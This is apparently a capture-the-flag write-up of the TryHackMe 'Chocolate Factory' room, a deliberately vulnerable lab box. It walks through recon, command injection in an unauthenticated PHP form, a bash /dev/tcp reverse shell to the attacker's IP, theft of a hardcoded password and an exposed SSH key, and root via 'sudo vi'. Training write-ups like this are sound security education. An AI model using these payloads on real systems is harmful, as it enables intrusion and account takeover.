TryHackMe Chocolate Factory Writeup
Room Info
- Platform: TryHackMe
- Room Name: Chocolate Factory
- Difficulty: Easy
- Goal: Capture the User Flag, Root Flag, and Charlie's password
- Link: https://tryhackme.com/room/chocolatefactory
Recon Phase
Nmap Scan
nmap -sV -sC -p- 10.201.8.19 -Pn
Scan results:
- Port 22: SSH
- Port 80: HTTP (Apache)
Directory Enumeration
gobuster dir -u http://10.201.8.19/ \
-w /usr/share/wordlists/dirb/common.txt -t 20
Paths discovered:
/index.html- Main page/home.php- Command interface/validate.php- Login validation
Step 1: Command Injection Vulnerability
Finding the vulnerability
Visiting the command interface home.php reveals a command execution form:
<form method="POST">
<input id="comm" type="text" name="command" placeholder="Command">
<button>Execute</button>
</form>
The backend PHP code has a serious flaw: (first run ls to confirm index.php.bak exists, then cat it)
<?php
if(isset($_POST['command']))
{
$cmd = $_POST['command'];
echo shell_exec($cmd); // Directly executes user input!
}
?>
Setting Up a Reverse Shell
Step 1: Start a listener locally (Windows PowerShell)
ncat -lvnp 4444
Step 2: Inject the payload
Enter into the form:
bash -c 'bash -i >& /dev/tcp/10.13.90.144/4444 0>&1'
Got a www-data shell!
Step 2: Grab Charlie's Password
File enumeration
www-data@ip-10-201-8-19:/var/www/html$ ls -al
total 1152
-rw-rw-r-- 1 charlie charley 303 Sep 30 2020 validate.php
-rw-rw-r-- 1 charlie charley 273 Sep 29 2020 index.php.bak
-rw-r--r-- 1 charlie charley 8496 Sep 30 2020 key_rev_key
Inspect validate.php
cat validate.php
Key finding:
<?php
$uname=$_POST['uname'];
$password=$_POST['password'];
if($uname=="charlie" && $password=="cn7824"){
echo "<script>window.location='home.php'</script>";
}
?>
Charlie's password: cn7824
Step 3: Analyze key_rev_key to Recover the Encryption Key
Download the file — or just analyze it right on the reverse shell!
# On the target machine
python3 -m http.server 8000
# On the local machine
wget http://10.201.8.19:8000/key_rev_key
Reverse Engineering
file key_rev_key
# key_rev_key: ELF 64-bit LSB executable
strings key_rev_key
Encryption key discovered:
b'-VkgXhFf6sAEcAwrC6YR-Redacted='This is a Fernet encryption key — it'll come in handy later!
Step 4: SSH In to Capture the User Flag
Finding the SSH private key
www-data@ip-10-201-8-19:/home/charlie$ ls -al
-rw-r--r-- 1 charlie charley 1675 Oct 6 2020 teleport
-rw-r--r-- 1 charlie charley 407 Oct 6 2020 teleport.pub
-rw-r----- 1 charlie charley 39 Oct 6 2020 user.txt
Log in with the private key
Step 1: Copy the private key locally
cat teleport
Copy the entire RSA private key (from -----BEGIN RSA PRIVATE KEY----- to -----END RSA PRIVATE KEY-----)
Step 2: Save it and set permissions
nano charlie_key
# Paste the private key contents
chmod 600 charlie_key
Step 3: SSH login
ssh -i charlie_key [email protected]
Logged in! (The private key has no passphrase.)
Capture the User Flag
charlie@ip-10-201-8-19:~$ cat user.txt
flag{Redacted}
Step 5: Privilege Escalation to Root
Check sudo privileges
charlie@ip-10-201-8-19:~$ sudo -l
User charlie may run the following commands on ip-10-201-8-19:
(ALL : !root) NOPASSWD: /usr/bin/vi
Escalate via Vi
Reference: GTFOBins - vi
sudo vi -c ':!/bin/sh' /dev/null
Got a root shell!
# whoami
root
Step 6: Decrypt the Final Flag
Finding the encryption script
# cd /root
# ls
root.py snap
# cat root.py
Script contents:
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key: ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)
Run it locally
Since the target machine is missing the cryptography module, download the script and run it locally:
# Local machine
nano root.py
# Paste the script contents
pip3 install cryptography pyfiglet
python3 root.py
Enter the key you recovered earlier:
Enter the key: -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=
Get the Final Flag
__ __ _ _ _ _____ _
\ \ / /__ _ _ / \ _ __ ___ | \ | | _____ __ |_ _| |__ ___
\ V / _ \| | | | / _ \ | '__/ _ \ | \| |/ _ \ \ /\ / / | | | '_ \ / _ \
| | (_) | |_| | / ___ \| | | __/ | |\ | (_) \ V V / | | | | | | __/
|_|\___/ \__,_| /_/ \_\_| \___| |_| \_|\___/ \_/\_/ |_| |_| |_|\___|
___ ___ __
/ _ \__ ___ __ ___ _ __ / _ \ / _|
| | | \ \ /\ / / '_ \ / _ \ '__| | | | | |_
| |_| |\ V V /| | | | __/ | | |_| | _|
\___/ \_/\_/ |_| |_|\___|_| \___/|_|
____ _ _ _
/ ___| |__ ___ ___ ___ | | __ _| |_ ___
| | | '_ \ / _ \ / __/ _ \| |/ _` | __/ _ \
| |___| | | | (_) | (_| (_) | | (_| | || __/
\____|_| |_|\___/ \___\___/|_|\__,_|\__\___|
_____ _
| ___|_ _ ___| |_ ___ _ __ _ _
| |_ / _` |/ __| __/ _ \| '__| | | |
| _| (_| | (__| || (_) | | | |_| |
|_| \__,_|\___|\__\___/|_| \__, |
|___/
flag{Redacted}
Key Takeaways
1. Command Injection Vulnerability
- Tell-tale sign: user input passed straight into
shell_exec()orsystem()
2. Exploiting an SSH Private Key
3. Sudo Privesc - Vi/Vim
- Check with:
sudo -l - Reference: GTFOBins
Exploitation:
sudo vi -c ':!/bin/sh' /dev/null# or sudo vim -c ':!/bin/bash'
4. Fernet Encryption/Decryption
- Characteristics: Base64-encoded symmetric encryption
Lessons Learned
On Step 1: Command Injection
According to validate.php, you're supposed to log in from index.html and get redirected to this home.php page before you can reach the command injection. But gobuster finds the page right away, and since there's no authentication check at all, you can trivially bypass the login and execute commands directly.
On Step 2: Grabbing Charlie's Password
I actually came back for Charlie's password only after grabbing all the flags. I tried cracking his local password via /etc/shadow, and I tried cracking the SSH login password too, but neither went anywhere. So I went back to the very first reverse shell and realized I'd overlooked validate.php.
On Step 6: Decrypting the Final Flag:
The final flag has an extra layer of decryption — a first for me across these boxes, and a pretty fun touch!
Member discussion